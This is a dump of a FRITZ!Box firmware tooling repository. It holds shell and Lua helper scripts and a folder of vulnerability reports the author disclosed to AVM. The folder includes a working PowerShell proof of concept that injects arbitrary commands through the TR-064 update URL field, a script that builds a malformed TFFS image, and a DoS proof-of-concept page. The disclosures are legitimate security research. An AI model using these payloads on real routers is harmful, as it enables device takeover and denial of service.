[ $crc -lt 0 ]; then 68 | crc=$(printf "%X" $crc) 69 | offset=$(( ${#crc}-8 )) 70 | crc=${crc:$offset} 71 | printf "%s\n" $crc 72 | else 73 | printf "%08X\n" $crc 74 | fi 75 | -------------------------------------------------------------------------------- /export/decompose: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | td=$(mktemp -d) 4 | hdr=1 5 | cat - >$td/input 6 | mkdir $td/parts 7 | touch $td/filelist $td/header 8 | __h2b() 9 | { 10 | while read line; do 11 | while [ -n "${line}" ] && [ x${line} != x"\x0a" ]; do 12 | echo -e -n "\x${line:0:2}" 13 | line="${line:2}" 14 | done 15 | done 16 | } 17 | grep -n '^\*\*\*\*' $td/input | 18 | while read line; do 19 | lineno=$(echo "$line" | sed -n -e 's/^\([0-9]*\):\*.*/\1/p') 20 | content=$(echo "$line" | sed -n -e 's/^[0-9]*:\*\*\*\* \(.*\)/\1/p') 21 | case "$content" in 22 | (CFGFILE:*) 23 | if [ "$hdr" -eq 1 ]; then 24 | let last=lineno-1 25 | sed -n -e "1,$last p" <$td/input >>$td/header 26 | hdr=0 27 | fi 28 | fn=$(echo "$content" | sed -n -e 's/CFGFILE:\(.*\)/\1/p') 29 | fs=$lineno 30 | ft=c 31 | ;; 32 | (CRYPTEDBINFILE:*) 33 | if [ "$hdr" -eq 1 ]; then 34 | let last=lineno-1 35 | sed -n -e "1,$last p" <$td/input >>$td/header 36 | hdr=0 37 | fi 38 | fn=$(echo "$content" | sed -n -e 's/CRYPTEDBINFILE:\(.*\)/\1/p') 39 | fs=$lineno 40 | ft=B 41 | ;; 42 | (BINFILE:*) 43 | if [ "$hdr" -eq 1 ]; then 44 | let last=lineno-1 45 | sed -n -e "1,$last p" <$td/input >>$td/header 46 | hdr=0 47 | fi 48 | fn=$(echo "$content" | sed -n -e 's/BINFILE:\(.*\)/\1/p') 49 | fs=$lineno 50 | ft=b 51 | ;; 52 | (END\ OF\ FILE*) 53 | let first=fs+1 54 | let last=lineno-1 55 | if [ "$ft" == "b" ]; then 56 | sed -n -e "$first,$last p" <$td/input | __h2b >$td/parts/$fn 57 | else 58 | sed -n -e "$first,$last p" <$td/input >$td/parts/$fn 59 | fi 60 | echo "$ft $first $last $fn" >>$td/filelist 61 | ;; 62 | (END\ OF\ EXPORT*) 63 | chksum=$(echo "$content" | sed -n -e 's/END OF EXPORT \(.*\) \*.*/\1/p') 64 | echo "chksum=$chksum" >>$td/tail 65 | ;; 66 | (*) 67 | ;; 68 | esac 69 | done 70 | echo $td 71 | -------------------------------------------------------------------------------- /export/hexdump: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # 4 | # hexdump a file like: hexdump -e '40/1 "%02X" "\n"' only with shell commands 5 | # replace AVM's "testvalue" below with an own implementation, if this script 6 | # is used outside a FRITZ!Box device 7 | # 8 | tv=/bin/testvalue 9 | test -x $tv || exit 1 10 | td=/var/tmp/hd$(date +%s) 11 | cleanup() 12 | { 13 | rm -r $td 14 | } 15 | trap cleanup EXIT HUP KILL TERM 16 | mkdir -p $td 17 | cat - >$td/input 18 | fs=$(stat -c %s $td/input) 19 | filesize=$fs 20 | linesize=0 21 | line="" 22 | offset=0 23 | while [ $fs -gt 0 ]; do 24 | if [ $fs -ge 4 ]; then 25 | mask="%08X" 26 | size=4 27 | else 28 | if [ $fs -ge 2 ]; then 29 | mask="%04X" 30 | size=2 31 | else 32 | mask="%02X" 33 | size=1 34 | fi 35 | fi 36 | part=$(printf $mask $($tv $td/input $size $offset)) 37 | let ressize=size*2 38 | if [ ${#part} -gt $ressize ]; then 39 | eval let off=${#part}-ressize 40 | part=${part:$off:$ressize} 41 | fi 42 | let offset=offset+size 43 | let fs=fs-size 44 | line="$line$part" 45 | let linesize=linesize+size 46 | if [ $linesize -eq 40 ]; then 47 | echo "$line" 48 | linesize=0 49 | line="" 50 | fi 51 | if [ ${#1} -gt 0 ]; then 52 | let percent=offset*100/filesize 53 | echo -n -e "\r$percent%" 1>&2 54 | fi 55 | done 56 | if [ ${#1} -gt 0 ]; then 57 | echo -n -e "\r\x1B[K" 1>&2 58 | fi 59 | if [ ${#line} -gt 0 ]; then 60 | echo "$line" 61 | fi 62 | -------------------------------------------------------------------------------- /export/testvalue: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # 4 | # replace AVM's "testvalue" binary (which reads 1-, 2- or 4-byte values from a 5 | # given file and writes the decimal result to stdout) with a version based on 6 | # the "dd" and "base64" command only, this command is present in newer firmware 7 | # versions to dump the TFFS content for "extended support data" output 8 | # 9 | # AVM's syntax is: 10 | # 11 | # testvalue [] 12 | # type: 1,2,4 13 | # 14 | # and we'll implement the same to be exchangeable 15 | # 16 | _getvalue() 17 | { 18 | local file="$1" type="$2" offset="$3" input i=0 f=0 v=0 c l=0 19 | input=$(dd if="$1" bs=1 skip="$offset" count="$type" 2>/dev/null | base64 | sed -e 's/+/_/g') 20 | [ ${#input} -eq 0 ] && return 1 21 | while [ ${#input} -gt $i ]; do 22 | [ ${input:$i:1} != = ] \ 23 | && v=$(( ( v << 6 ) + $(( $(expr index "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/" "${input:$i:1}") - 1 )) ))\ 24 | || let f+=1 25 | let i+=1 26 | done 27 | v=$(( v >> ( f * 2 ) )) 28 | [ $(( ( i - f ) * 6 / 8 )) -ne $type ] && return 1 # short read 29 | printf "%u" $v 30 | } 31 | _swap_endianess() 32 | { 33 | local val="$1" type="$2" temp res 34 | temp=$(printf "%0$(( type * 2 ))x" $val) 35 | while [ ${#temp} -gt 0 ]; do 36 | res=${temp:0:2}$res 37 | temp=${temp:2} 38 | done 39 | temp=$res 40 | res=0 41 | while [ ${#temp} -gt 0 ]; do 42 | res=$(( ( res << 8 ) + 0x${temp:0:2} )) 43 | temp=${temp:2} 44 | done 45 | printf "%lu" $res 46 | } 47 | [ -z "$1" ] && exit 1 48 | file="$1" 49 | [ ! -f "$file" ] && exit 1 50 | [ -z "$2" ] && exit 1 51 | chk="${2/[124]/}" 52 | [ ${#chk} -ne 0 ] && exit 1 53 | type="$2" 54 | [ -z "$3" ] && exit 1 55 | chk="${3//[0-9]/}" 56 | [ ${#chk} -ne 0 ] && exit 1 57 | offset="$3" 58 | [ ! -z "$4" ] && chk="${4//[0-9]/}" || unset chk 59 | [ ${#chk} -ne 0 ] && exit 1 60 | comp="$4" 61 | val=$(_getvalue "$file" "$type" "$offset") 62 | [ $? -ne 0 ] && exit 1 63 | [ $type -gt 1 ] && [ "$(dd if=/proc/self/exe bs=1 skip=5 count=1 2>/dev/null | base64)" == "AQ==" ] && val=$(_swap_endianess $val $type) 64 | [ ${#comp} -eq 0 ] && echo $val && exit 65 | [ $val -eq $comp ] && exit 0 || exit 1 66 | -------------------------------------------------------------------------------- /framework/feature_database.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /helpers/functions: -------------------------------------------------------------------------------- 1 | ../scriptlib/functions/ -------------------------------------------------------------------------------- /helpers/multipart_form: -------------------------------------------------------------------------------- 1 | ../scriptlib/multipart_form -------------------------------------------------------------------------------- /helpers/yf_helpers: -------------------------------------------------------------------------------- 1 | ../scriptlib/yf_helpers -------------------------------------------------------------------------------- /helpers/yourfritz_helpers: -------------------------------------------------------------------------------- 1 | ../scriptlib/yourfritz_helpers -------------------------------------------------------------------------------- /juis/juis_pubkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoOU6/WEIgsOrvrMHG5is 3 | CL+84cYS2p8lQfDQ6RGr3KJnpz11i9WFdEc3JzWLkWclQHXWIdIcyuIzbruHUrst 4 | EwEI0wgp+LhgI2OWdy2xyFdRCGV0TjDce4BedRq65qqV+oGR78rWqvSiVYrg4suy 5 | bltD0vDsWV9fPAKZO1oFk4UbMUJIvdd0w4BioI3q3AKd/3Ueo4MzJLzYwsdJxMrZ 6 | l+WfVKBaGy+qPBCKtvK9dqH9+KIXVKwBl0vAvPW6gZuTk2psghaYO3hfoRhuBK/f 7 | wFgJhZQravdmNVx8k6SYSBC8KsfuzKfkD8nmC/iqY4Sk+wu8Zak/DNL0hlyGEMG+ 8 | cwIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /luavar/queries.lua: -------------------------------------------------------------------------------- 1 | #! /bin/luavar 2 | -- SPDX-License-Identifier: GPL-2.0-or-later 3 | 4 | lineno = 0; 5 | rc = 0; 6 | 7 | while true do 8 | local line = io.read("*line"); 9 | if (line == nil) then 10 | if (lineno == 0) then 11 | io.stderr:write("Missing requests\n"); 12 | os.exit(2); 13 | end 14 | break; 15 | end 16 | lineno = lineno + 1; 17 | local varname, query = string.match(line, "(.*)=(.*)"); 18 | if (varname ~= nil and query ~= nil) then 19 | if (string.find(query, "%(.*%)") == nil) then 20 | local single_res = box.query(query); 21 | if (single_res == nil) then 22 | print(varname.."=\"***no result***\""); 23 | rc = 1; 24 | else 25 | print(varname.."=\""..single_res.."\""); 26 | end 27 | else 28 | local columns = {}; 29 | local first, last = string.find(query, "%(.*%)"); 30 | local list = string.sub(query, first + 1, last - 1); 31 | for col in string.gmatch(list, "[^,]+") do 32 | table.insert(columns, col); 33 | end 34 | if (string.find(query, "listwindow%(.*%)") ~= nil) then 35 | table.remove(columns, 1); 36 | table.remove(columns, 1); 37 | end 38 | local result = box.multiquery(query); 39 | local index = 0; 40 | for i, entry in ipairs(result) do 41 | for j, value in ipairs(entry) do 42 | j = j - 1; 43 | if (j > 0) then 44 | colname = columns[j]; 45 | else 46 | colname = "index"; 47 | end 48 | print(varname.."_"..i.."_"..colname.."=\""..value.."\""); 49 | end 50 | index = i; 51 | end 52 | print(varname.."_count="..index); 53 | end 54 | else 55 | io.stderr:write("Malformed request at line ",lineno,"\n"); 56 | rc = 127; 57 | -- die folgende Zeile aktivieren (-- am Beginn entfernen), um bei falscher Eingabe die Verarbeitung abzubrechen 58 | -- break; 59 | end 60 | end 61 | 62 | os.exit(rc); 63 | -------------------------------------------------------------------------------- /luavar/set.lua: -------------------------------------------------------------------------------- 1 | #! /bin/luavar 2 | -- SPDX-License-Identifier: GPL-2.0-or-later 3 | 4 | lineno = 0; 5 | rc = 0; 6 | cmtable = {}; 7 | 8 | while true do 9 | local line = io.read("*line"); 10 | if (line == nil) then 11 | if (lineno == 0) then 12 | io.stderr:write("Missing set statements\n"); 13 | os.exit(2); 14 | else 15 | break; 16 | end 17 | end 18 | lineno = lineno + 1; 19 | local varname, value = string.match(line, "(.*)=(.*)"); 20 | if (varname ~= nil and value ~= nil) then 21 | table.insert(cmtable, { ["name"] = varname, ["value"] = value } ); 22 | else 23 | io.stderr:write("Malformed set statement at line ",lineno,"\n"); 24 | os.exit(127); 25 | end 26 | end 27 | 28 | err = 0; 29 | message = ""; 30 | err, message = box.set_config(cmtable); 31 | if (err == 0) then 32 | io.stderr:write("OK\n"); 33 | rc = 0; 34 | else 35 | if (string.len(message) > 0) then 36 | io.stderr:write(message,"\n"); 37 | else 38 | io.stderr:write("error\n"); 39 | end 40 | rc = 1; 41 | end 42 | 43 | os.exit(rc); 44 | -------------------------------------------------------------------------------- /luavar/vpn_status.lua: -------------------------------------------------------------------------------- 1 | #! /bin/luavar 2 | -- SPDX-License-Identifier: GPL-2.0-or-later 3 | -- 4 | -- Another simple example, how AVM's Lua variable interface can be used 5 | -- 6 | -- This script reads the new state and the name of a defined VPN connection 7 | -- from STDIN, tries to find the VPN connection with the specified name and 8 | -- reports the current state and any changes (if needed) to the caller as 9 | -- a single line of shell variable assignments, which may simply be 10 | -- 'eval'uated by the caller to get the results into own variables 11 | -- 12 | local rc = 0; 13 | local setstate; 14 | 15 | local line = io.read("*line"); 16 | if (line == nil) then 17 | rc = 1 18 | end 19 | 20 | local newstate, connection = string.match(line, "(.) (.*)"); 21 | if (connection == nil) then 22 | io.stderr:write("Missing connection name after new state value.\n\n"); 23 | rc = 1; 24 | end 25 | 26 | if (newstate == "?") then 27 | setstate = 0; 28 | else 29 | setstate = 1; 30 | if (newstate ~= "0" and newstate ~= "1") then 31 | rc = 1; 32 | end 33 | end 34 | 35 | if (rc == 1) then 36 | io.stderr:write("Usage:\n\techo \"state connection\" | vpn_connection.lua\n\n"); 37 | io.stderr:write("Valid 'state' values are: 0 (deactivated), 1 (activated), ? (no change, query only)\n\n"); 38 | io.stderr:write("'connection' has to be the name of an existing VPN connection.\n"); 39 | os.exit(rc); 40 | end 41 | 42 | local columns = {}; 43 | local query = "vpn:settings/connection/list(name,activated)"; 44 | local result = box.multiquery(query); 45 | for i, entry in ipairs(result) do 46 | if (entry[2] == connection) then 47 | local oldstate = entry[3]; 48 | local name = entry[1]; 49 | local output = "VPN_INDEX='"..name.."'\nVPN_NAME='"..connection.."'\nVPN_OLDSTATE="..oldstate; 50 | if (setstate == 1) then 51 | output = output.."\nVPN_NEWSTATE="..newstate; 52 | if (oldstate ~= newstate) then 53 | local cmtable = {}; 54 | table.insert(cmtable, { ["name"] = "vpn:settings/"..name.."/activated", ["value"] = newstate } ); 55 | local err = 0; 56 | local message = ""; 57 | err, message = box.set_config(cmtable); 58 | output = output.."\nVPN_RESULT="..err; 59 | if (err ~= 0 and string.len(message) > 0) then 60 | output = output.."\nVPN_MESSAGE='"..message.."'"; 61 | end 62 | end 63 | end 64 | print(output); 65 | os.exit(0); 66 | end 67 | end 68 | 69 | io.stderr:write("A VPN connection with name '"..connection.."' does not exist.\n"); 70 | os.exit(1); 71 | -------------------------------------------------------------------------------- /mitmproxy-ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICnzCCAgigAwIBAgIGDMvBfzHgMA0GCSqGSIb3DQEBBQUAMCgxEjAQBgNVBAMM 3 | CW1pdG1wcm94eTESMBAGA1UECgwJbWl0bXByb3h5MB4XDTE0MDgwMTIwNTM0M1oX 4 | DTE2MDcyMTIwNTM0M1owKDESMBAGA1UEAwwJbWl0bXByb3h5MRIwEAYDVQQKDAlt 5 | aXRtcHJveHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN/jZY0V1IHXX9fD 6 | Z+GfLlb0Q2m7jGZh5OBMKTvrqh32t1mhhMOMMjcPkEbBswDRNvB0vBoSfKLo6Jbq 7 | 8FVgO/2PutEgoL3EA3u43HZHRZSKX5Q7Kd6jpnxAstK/psLnUrOA3Kli/seIi8Io 8 | r+t+lC/sJKgD8bgI5ZZBA1PNgPRxAgMBAAGjgdMwgdAwDwYDVR0TAQH/BAUwAwEB 9 | /zAUBglghkgBhvhCAQEBAf8EBAMCAgQwewYDVR0lAQH/BHEwbwYIKwYBBQUHAwEG 10 | CCsGAQUFBwMCBggrBgEFBQcDBAYIKwYBBQUHAwgGCisGAQQBgjcCARUGCisGAQQB 11 | gjcCARYGCisGAQQBgjcKAwEGCisGAQQBgjcKAwMGCisGAQQBgjcKAwQGCWCGSAGG 12 | +EIEATALBgNVHQ8EBAMCAQYwHQYDVR0OBBYEFIqmFUYQeKMyL5SYu6fJO64b4PEQ 13 | MA0GCSqGSIb3DQEBBQUAA4GBANyD2tqAESKk9SUNIZg+ngIzeWoJRNMMPMv8DGuC 14 | Eq12VR6qu8uFPihsaDT7Zo789K5CcKjnCBMXQz9pPyyLtUG7juBVY0RTi+kvZ5tM 15 | SryHn2axHRxFnGwzpZ3zAVmufMMC7dho7C9/TrMlq06+uyvloCBTdTV726gOiOIs 16 | b5Ry 17 | -----END CERTIFICATE----- 18 | -------------------------------------------------------------------------------- /patch_kernel/src2patch.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | [ -t 1 ] && exec 1>./900-patchkernel_source 4 | diff -u /dev/null ./yf_patchkernel.c | sed -e '1s|.*|--- /dev/null|' -e '2s|.*|+++ linux-3.10/drivers/net/yf_patchkernel.c|' 5 | -------------------------------------------------------------------------------- /reported_threats/20160913-1636/README.md: -------------------------------------------------------------------------------- 1 | # Buffer overflow/out of bounds write access in FRITZ!OS kernel driver maintained by vendor 2 | 3 | ## Description 4 | 5 | hidden until 2016-12-12 6 | 7 | --- 8 | 9 | ## Affected versions 10 | 11 | Probably all (current) FRITZ!OS versions, where a special kernel driver is used 12 | 13 | --- 14 | 15 | ## Workaround 16 | 17 | unknown 18 | 19 | --- 20 | 21 | ## Timeline 22 | 23 | 2016-09-13 16:36 24 | 25 | Vendor notified by (encrypted) e-mail to security@avm.de, specially crafted file as PoC included 26 | 27 | --- 28 | 29 | ## Proof of concept 30 | 31 | hidden until 2016-12-12 32 | -------------------------------------------------------------------------------- /reported_threats/20160913-1636/build_wrong_tffs_image: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ################################################################################## 3 | # 4 | # prepare a full TFFS image containing the name table, the environment settings 5 | # and the counters 6 | # 7 | # Parameters: 8 | # 9 | # $1 - path to name table file 10 | # $2 - path to environment file 11 | # $3 - path to counters file 12 | # $n - additional file(s) to be included; the TFFS node ID is determined by the 13 | # name of the file (that means, it has to be the 4-character hexadecimal ID 14 | # to be used, e.g. 001d for "provider_addtive.tar") and the content has to be 15 | # the (zlib) deflated text (or binary data); the name may carry any suffix 16 | # as "extension" - "001d.bin" is a valid one. 17 | # 18 | ################################################################################## 19 | # 20 | # helper functions 21 | # 22 | ################################################################################## 23 | . ${YF_SCRIPT_DIR:-.}/yf_helpers 24 | ################################################################################## 25 | # 26 | # create the image now 27 | # 28 | ################################################################################## 29 | # 30 | # segment header with the earliest value, will be incremented with each new 31 | # version written to TFFS 32 | # 33 | yf_pack B16 1 B16 4 8 255 8 255 8 255 8 254 34 | # 35 | # add name table 36 | # 37 | cat $4 38 | # 39 | # add environment 40 | # 41 | environment_to_tffs "$1" <"$2" 42 | # 43 | # add counters 44 | # 45 | counter_to_tffs <"$3" 46 | # 47 | # add optional files 48 | # 49 | shift 4 50 | for name in $*; do 51 | id="${name##*/}" 52 | id="${id%%.*}" 53 | content="$(cat "$name" | yf_bin2hex)" 54 | len=$(( ${#content} / 2 )) 55 | out="$id$(yf_dec2hex $len 2)$content" 56 | fill=$(( ( ( len + 3 ) & ~3 ) - len )) 57 | while [ $fill -gt 0 ]; do 58 | out="${out}00" 59 | fill=$(( fill - 1 )) 60 | done 61 | echo "$out" | yf_hex2bin 62 | done 63 | ################################################################################## 64 | # 65 | # regular end of script reached 66 | # 67 | ################################################################################## 68 | exit 0 69 | -------------------------------------------------------------------------------- /reported_threats/20160913-1636/malformed_name_table: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/reported_threats/20160913-1636/malformed_name_table -------------------------------------------------------------------------------- /reported_threats/20160913-1636/malformed_tffs_image.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/reported_threats/20160913-1636/malformed_tffs_image.bin -------------------------------------------------------------------------------- /reported_threats/20160915-1225/README.md: -------------------------------------------------------------------------------- 1 | # Easy interception of network traffic from LAN clients, if a FRITZ!Box router is used as network controller 2 | 3 | ## Description 4 | 5 | hidden until 2016-12-14 6 | 7 | --- 8 | 9 | ## Affected versions 10 | 11 | Probably all (current) FRITZ!OS versions 12 | 13 | --- 14 | 15 | ## Workaround 16 | 17 | unknown/unpublished, a (non-standard) client configuration could mitigate the problem 18 | 19 | --- 20 | 21 | ## Timeline 22 | 23 | 2016-09-15 12:25 24 | 25 | Vendor notified by (encrypted) e-mail to security@avm.de, problem description with command output examples to prove the theory included. 26 | 27 | --- 28 | 29 | ## Proof of concept 30 | 31 | hidden until 2016-12-14 32 | -------------------------------------------------------------------------------- /reported_threats/460241/.gitattributes: -------------------------------------------------------------------------------- 1 | *.ps1 eol=crlf 2 | -------------------------------------------------------------------------------- /reported_threats/499102/README.md: -------------------------------------------------------------------------------- 1 | # Vulnerabily with FTP server login on FRITZ!OS 2 | 3 | Timeline: 4 | 5 | 2016-06-24 13:04 - Vendor notified by (encrypted) e-mail to security@avm.de, there was no proof-of-concept exploit, only a (longer) verbal description of the threat. 6 | 7 | 2016-06-27 16:01 - Vendor replied, that the notification was received and the findings will be checked now. 8 | 9 | 2016-07-22 17:20 - Vendor ~~committed~~ confirmed *some* (not really all) findings, one issue will be fixed in the next major release, no publishing date specified. Some other aspects of the problem (especially some missing log entries) behind this incident will be investigated further. 10 | 11 | 2016-07-22 19:00 - Publication delayed until 2016-10-01. 12 | -------------------------------------------------------------------------------- /reported_threats/515119/DoS.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | DoS attack to firmwarecfg PoC 6 | 7 | 43 | 44 | 45 | 46 | 47 | 50 | 53 | 54 | 55 | 58 | 61 | 62 | 63 | 66 | 70 | 71 | 72 | 75 | 78 | 79 |
48 | IP address of device to take down 49 | 51 | 52 |
56 | number of requests to send 57 | 59 | 60 |
64 | use TLS for requests/TLS port 65 | 67 | 68 | 69 |
73 |   74 | 76 | 77 |
80 |
81 |
82 | 83 | 84 | -------------------------------------------------------------------------------- /reported_threats/982308/.gitattributes: -------------------------------------------------------------------------------- 1 | *.ps1 eol=crlf 2 | -------------------------------------------------------------------------------- /reported_threats/982308/InjectCommandViaUpdateURL.ps1: -------------------------------------------------------------------------------- 1 | Param([Parameter(Mandatory = $True, Position = 0, HelpMessage = 'the username to login to TR-064')][string]$Username, 2 | [Parameter(Mandatory = $True, Position = 1, HelpMessage = 'the password to login to TR-064')][string]$Password, 3 | [Parameter(Mandatory = $True, Position = 2, HelpMessage = 'the command to inject')][string]$Command, 4 | [Parameter(Mandatory = $False, Position = 3, HelpMessage = 'the TR-064 SSL port of the FRITZ!Box, defaults to 49443')][string]$SSLPort = 49443, 5 | [Parameter(Mandatory = $False, Position = 4, HelpMessage = 'the IP address of the FRITZ!Box, defaults to 192.168.178.1')][string]$Address = "192.168.178.1") 6 | 7 | $WebClient = New-Object System.Net.WebClient 8 | $getinfo_query='http://fritz.box/jason_boxinfo.xml$(' + $Command + ')0' 9 | # the specified URL doesn't matter ... it's only used to start a "httpsdl" instance, which contains the injected command in the URL field 10 | 11 | $WebClient.Encoding = [System.Text.Encoding]::UTF8 12 | $WebClient.Headers.Set("Content-Type", 'text/xml; charset="utf-8"') 13 | $WebClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password) 14 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} 15 | $WebClient.Headers.Set("Content-Type", 'text/xml; charset="utf-8"') 16 | $WebClient.Headers.Set("SOAPACTION", 'urn:dslforum-org:service:UserInterface:1#X_AVM-DE_DoManualUpdate') 17 | $response = [xml]$WebClient.UploadString("https://" + $Address + ":" + $SSLPort + "/upnp/control/userif", $getinfo_query) 18 | 19 | $response.Envelope.Body.InnerXml 20 | -------------------------------------------------------------------------------- /reported_threats/982308/README.md: -------------------------------------------------------------------------------- 1 | # One more weak spot in AVM's FRITZ!OS 2 | 3 | Again a security flaw was found, which may be used to inject arbitrary commands into the running OS. 4 | 5 | An attacker needs only a valid administrator account or the predefined GUI password from bootloader environment, if the password wasn't changed by the owner during first-time installation or after a factory-reset. 6 | 7 | With knowledge of needed credentials, the attack may be run from any host on the LAN side ... if the attacker wants to check/use the "webgui_pass" value, he needs a wired connection while the FRITZ!Box device is restarting. 8 | 9 | The flaw was found while analyzing 141.06.63 for "FRITZ!Box Cable 6490", but other models are affected too. 10 | 11 | The vendor was not notified yet. If the threat is still present in the next final release, it will be reported to the vendor. 12 | 13 | ## Timeline 14 | 15 | 2017-02-10 03:49 - Vendor notified by e-mail, the flaw wasn't fixed in the newly released version 113.06.80 16 | 17 | 2017-02-17 16:00 - First reply from vendor: an incident number (#982308) was assigned, the problem was forwarded to the internal development unit and the finding was confirmed. 18 | No comment on whether or when it will be fixed. The 90 days period from my "responsible disclosure" policy was started on 2017-02-10. 19 | The name of the subfolder was adjusted to reflect the assigned incident number. 20 | 21 | 2017-03-17 03:00 - The vendor has published a new version (06.83), which should fix this vulnerability - together with other changes. 22 | Although there was no further test (by myself) to check this statement, I decided to publish a script (in 23 | PowerShell, but it could be easily adapted to any other language or platform) to show this vulnerability ... 24 | look for the file in the directory, where this README.md resides. 25 | A comprehensive description regarding this (fixed) vulnerability will be given later. 26 | 27 | 2017-04-19 16:55 - Case closed - the problem was solved and the provided URL will be better checked now by the firmware. Look into the supplied Powershell script to get an idea, what was the problem and how it could be used in an exploit - I will give no further explanation (it's simple enough). 28 | -------------------------------------------------------------------------------- /reported_threats/CID3830401/README.md: -------------------------------------------------------------------------------- 1 | # Default configuration (factory settings) of FRITZ!Box devices is vulnerable 2 | 3 | This incident was related to an automatic "take over" of an unconfigured FRITZ!Box device by an attacker using the TELNET 4 | daemon in combination with GUI support to export and import data even in an unconfigured device to modify settings just 5 | before the authorized user could set any password to protect the settings. 6 | 7 | - has been defused by a general denial of the TELNET service in stock firmware 8 | - further mitigated by adding a pre-configured GUI password to some devices (but afaik not to every new model), which prevents 9 | an unauthorized (automated) access to the GUI superficial, but due to the possibility to read this value from the device using 10 | the bootloader of a starting box (it was readable with "GETENV" FTP command), this was not really a solution and increases the 11 | expenses only a very little bit 12 | -------------------------------------------------------------------------------- /reported_threats/CID4167055/README.md: -------------------------------------------------------------------------------- 1 | # (External) Command injection vulnerability in FRITZ!OS versions before 06.5x 2 | 3 | The findings relating to this exploit have been paid out by AVM with a reward. 4 | 5 | Any publication in the future is at the discretion of AVM. 6 | 7 | The problem was reported in May 2015. -------------------------------------------------------------------------------- /reported_threats/README.md: -------------------------------------------------------------------------------- 1 | # Threats reported to AVM 2 | 3 | This folder contains security flaws, I've reported to the vendor. 4 | 5 | Some of them are older and I got a bug-bounty reward for my reports - these findings are only listed, not described in detail and 6 | I don't have any influence on publishing detailed information on them. 7 | 8 | Some are newer and for a limited time AVM assigned incident numbers to my reports - if I've got such a number, it will be used as 9 | folder name here. The two newest reports (as of 2016-10-21) didn't get such an assignment from AVM. 10 | 11 | There were some other known threats (from 06/2013 to 12/2014), which were reported/mentioned during phone calls (in 09/2014 and 12/2014-01/2015) only. 12 | 13 | Meanwhile I know (I got this info in 2016 per e-mail), that a "list" was created during some calls in Sept. 2014 and Dec. 2014 to Jan. 2015, which has contained 13 points. But I myself never got any knowledge, which information were it worth to be recorded there. 14 | 15 | The command injection via `/etc/init.d/S44-hostname` or the attack using a malformed user name for (denied) FTP login to gain a root shell are examples of these threats. Another one was the existence of the (at this time yet unencrypted) private key used to sign CM certificates with "cmcertgen" in the 6360 firmware (and later in the 6490 firmware too, which I got in Dec. 2014). 16 | 17 | They were never reported in written form, so I don't have correct information in my mail archive, when they were reported exactly and they never got an "incident number" ... and so I'll not describe them here in detail. 18 | -------------------------------------------------------------------------------- /reported_threats/unnumbered_25012015_01/README.md: -------------------------------------------------------------------------------- 1 | # Command injection vulnerability in FRITZ!OS in release versions up to 06.3x 2 | 3 | The findings relating to this gap have been paid out by AVM with a reward. Any publication is at the discretion of AVM. 4 | -------------------------------------------------------------------------------- /reported_threats/unnumbered_25012015_02/README.md: -------------------------------------------------------------------------------- 1 | # Command injection on DOCSIS devices (6360/6490) up to version 06.10 2 | 3 | The findings relating to this gap have been paid out by AVM with a reward. Any publication is at the discretion of AVM. 4 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_bridge_interfaces.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # bridge_interfaces - get the name(s) of all network bridges from sysfs # 7 | # # 8 | # parameters: # 9 | # none # 10 | # # 11 | # stdout: # 12 | # the names of bridge interfaces # 13 | # # 14 | # return code: # 15 | # alwasy 0 - the list will be empty in case of an error # 16 | # # 17 | ####################################################################################### 18 | # # 19 | # U: find printf sed # 20 | # W: - # 21 | # F: - # 22 | # I: - # 23 | # K: network # 24 | # # 25 | ####################################################################################### 26 | yf_bridge_interfaces() 27 | ( 28 | sysfs="$(yf_sysfs || printf "/sys")" 29 | find $sysfs/class/net/*/bridge -maxdepth 1 -type d -print 2>/dev/null \ 30 | | sed -e "s|^$sysfs/class/net/\([^/]*\)/bridge\$|\1|" -e '/^$/d' \ 31 | | sed -e ':x;$!N;s/\n/ /;tx' 32 | return 0 33 | ) 34 | -------------------------------------------------------------------------------- /scriptlib/functions/yf_cmdline.function: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # vi: set tabstop=4 syntax=sh : # colorize it in 'vi' and use shorter tabstops 3 | # SPDX-License-Identifier: GPL-2.0-or-later 4 | ####################################################################################### 5 | # # 6 | # cmdline - extract the value of a specified key from kernel command line # 7 | # # 8 | # parameters: # 9 | # $1 - key to look for, may be a regexp # 10 | # # 11 | # stdout: # 12 | # the value, if it exists - only the first match is processed, if the parameter # 13 | # leads to multiple results # 14 | # # 15 | # return code: # 16 | # 0 - stdout value is valid # 17 | # 1 - the specified key was not found at /proc/cmdline # 18 | # # 19 | ####################################################################################### 20 | # # 21 | # U: grep printf # 22 | # W: - # 23 | # I: - # 24 | # F: - # 25 | # K: runtime # 26 | # # 27 | ####################################################################################### 28 | yf_cmdline() 29 | ( 30 | ___kvset="$(grep -ao "[ ]\?$1=[^ ]*" /proc/cmdline | 